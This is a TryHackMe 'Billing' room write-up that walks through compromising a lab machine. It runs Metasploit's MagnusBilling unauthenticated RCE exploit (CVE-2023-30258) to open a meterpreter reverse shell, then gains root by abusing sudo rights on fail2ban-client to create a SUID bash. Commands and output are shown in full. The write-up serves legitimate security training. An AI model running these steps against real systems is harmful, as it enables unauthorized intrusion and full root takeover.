Billing - TryHackMe room writeup

Solving an easy room on the TryHackMe platform.

Overview

Today we will work on TryHackMe’s “Billing” room—an easy room focusing on abusing indirect file permission manipulation via sudo. So let’s begin

Reconnaisance

Let’s begin with the usual, performing nmap scan. I run the -p- -v scan to quickly grab the ports, then run -sCV on them specifically.

$ nmap -p 22,80,3306 -sCV 10.10.226.215
Nmap scan report for billing.thm (10.10.226.215)
Host is up (0.100s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_  256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
| http-title:             MagnusBilling
|_Requested resource was http://billing.thm/mbilling/
|_http-server-header: Apache/2.4.56 (Debian)
| http-robots.txt: 1 disallowed entry
|_/mbilling/
3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see that it has HTTP port open, so I added it to my etc/hosts file and I would’ve ran ffuf in the hopes of finding some subdirectories or folders while I manually browse the webpage, but since the room said “Bruteforcing is out of scope” I skipped on that.

HTTP: MagnusBilling

From the Nmap scan and accessing the website we see that it is running MagnusBilling, which is a VoIP billing platform. I immediately ran some basic creds and their own default cred of root:magnus but to no avail. Image

I parked it for later, and simply searched “magnusbilling vulnerability” and came across Rapid7’s database which said MagnusBilling v6.x and v7.x are vulnerable to RCE. Since we couldn’t find the version running on the platform (without bruteforcing!), let’s simply try running this exploit.

Foothold

So I searched the module and loaded it with all the required parameters before running it.

$ msfconsole -q
msf6 > search magnusbilling

Matching Modules
================

   #  Name                                                        Disclosure Date  Rank       Check  Description
   -  ----                                                        ---------------  ----       -----  -----------
   0  exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258  2023-06-26       excellent  Yes    MagnusBilling application unauthenticated Remote Command Execution.
   1    \_ target: PHP                                            .                .          .      .
   2    \_ target: Unix Command                                   .                .          .      .
   3    \_ target: Linux Dropper                                  .                .          .      .


Interact with a module by name or index. For example info 3, use 3 or use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Dropper'

msf6 > use 0
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts billing.thm
rhosts => billing.thm
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set lhost tun0
lhost => 10.6.49.253
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit
[*] Started reverse TCP handler on 10.6.49.253:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.10.226.215:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 8 seconds.
[*] Elapsed time: 8.26 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 10.10.226.215
[+] Deleted NAuTsHNDM.php
[*] Meterpreter session 1 opened (10.6.49.253:4444 -> 10.10.226.215:44742) at 2025-05-21 17:03:30 -0400

And voila! We have a shell! I then did the usual of having a basic shell through python.

meterpreter > shell
Process 2845 created.
Channel 0 created.
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
asterisk@Billing:/var/www/html/mbilling/lib/icepay$

User Flag

The user flag was straightforward. Upon checking the /home/ directory we see that anybody can read the directory and the user flag present inside was also readable.

asterisk@Billing:/var/www/html/mbilling/lib/icepay$ id
uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ ls -l /home
total 4
drwxr-xr-x 15 magnus magnus 4096 Sep  9  2024 magnus
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ ls -l /home/magnus/
total 36
drwx------ 2 magnus magnus 4096 Mar 27  2024 Desktop
drwx------ 2 magnus magnus 4096 Mar 27  2024 Documents
drwx------ 2 magnus magnus 4096 Mar 27  2024 Downloads
drwx------ 2 magnus magnus 4096 Mar 27  2024 Music
drwx------ 2 magnus magnus 4096 Mar 27  2024 Pictures
drwx------ 2 magnus magnus 4096 Mar 27  2024 Public
drwx------ 2 magnus magnus 4096 Mar 27  2024 Templates
drwx------ 2 magnus magnus 4096 Mar 27  2024 Videos
-rw-r--r-- 1 magnus magnus   38 Mar 27  2024 user.txt
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ cat /home/magnus/user.txt
THM{4a..REDACTED..ca}

Root Flag

Once I get a foothold or user flag, one of the first things I do is check what can I run as a superuser. And luckily enough we do have permission to run certain application as sudo.

asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo -l
Matching Defaults entries for asterisk on Billing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client
asterisk@Billing:/var/www/html/mbilling/lib/icepay$

Fail2Ban

Okay so what is Fail2Ban? It’s an open-source intrusion prevention software that protects Linux servers from malicious attacks, particularly brute-force attacks. Hmm, maybe that’s why the room said bruteforcing was not allowed. Okay so upon looking up its basic functionality, we find that we can configure an action it does upon successfully blocking something.

Abusing Fail2Ban

Upon checking the manual pages we find this interesting option:

$ fail2ban-client set <JAIL> action <ACT> actionban <ACT> <COMMAND>

This configures the command to execute if certain action is executed on the specified service. We can try to add the “action” into the configuration file of the application, but we can rather directly type the command on the command-line. My action plan is to copy bash to a temporary directoy and setting SUID bit on itself to gain privileged shell.

In order to do that we can:

asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client restart
<g/lib/icepay$ sudo /usr/bin/fail2ban-client restart
Shutdown successful
Server ready
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/usr/bin/cp /bin/bash /tmp && chmod 4755 /tmp/bash"
/usr/bin/cp /bin/bash /tmp && chmod 4755 /tmp/bash
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
<o /usr/bin/fail2ban-client set sshd banip 127.0.0.1
1
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ ls -l /tmp
ls -l /tmp
total 1208
-rwsr-xr-x 1 root root 1234376 May 21 13:19 bash
asterisk@Billing:/var/www/html/mbilling/lib/icepay$

And with that we got a SUID bash ready to be executed!

Privilege Escalation

Simply executing this bash with the -p flag will give us a privileged shell with which we can read root flag.

asterisk@Billing:/var/www/html/mbilling/lib/icepay$ /tmp/bash -p
bash-5.1# id
uid=1001(asterisk) gid=1001(asterisk) euid=0(root) groups=1001(asterisk)
bash-5.1# cat /root/root.txt
THM{33...REDACTED...60}
bash-5.1#

Extra

Remember we were warned against bruteforcing. But if we were allowed, we would have come across their README file.

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://billing.thm/mbilling/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://billing.thm/mbilling/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

LICENSE                 [Status: 200, Size: 7652, Words: 1404, Lines: 166, Duration: 95ms]
.hta                    [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 2175ms]
README.md               [Status: 200, Size: 1995, Words: 152, Lines: 66, Duration: 100ms]
akeeba.backend.log      [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 95ms]
.htaccess               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 4220ms]
.htpasswd               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 4221ms]
archive                 [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 95ms]
assets                  [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 95ms]
development.log         [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 99ms]
fpdf                    [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 95ms]
index.html              [Status: 200, Size: 30760, Words: 1501, Lines: 137, Duration: 108ms]
index.php               [Status: 200, Size: 663, Words: 46, Lines: 1, Duration: 129ms]
lib                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 222ms]
production.log          [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 98ms]
protected               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 103ms]
resources               [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 93ms]
spamlog.log             [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 97ms]
tmp                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 98ms]
:: Progress: [4745/4745] :: Job [1/1] :: 416 req/sec :: Duration: [0:00:15] :: Errors: 0 ::

And upon checking the README we would have confirmed they are using the vulnerable version. Image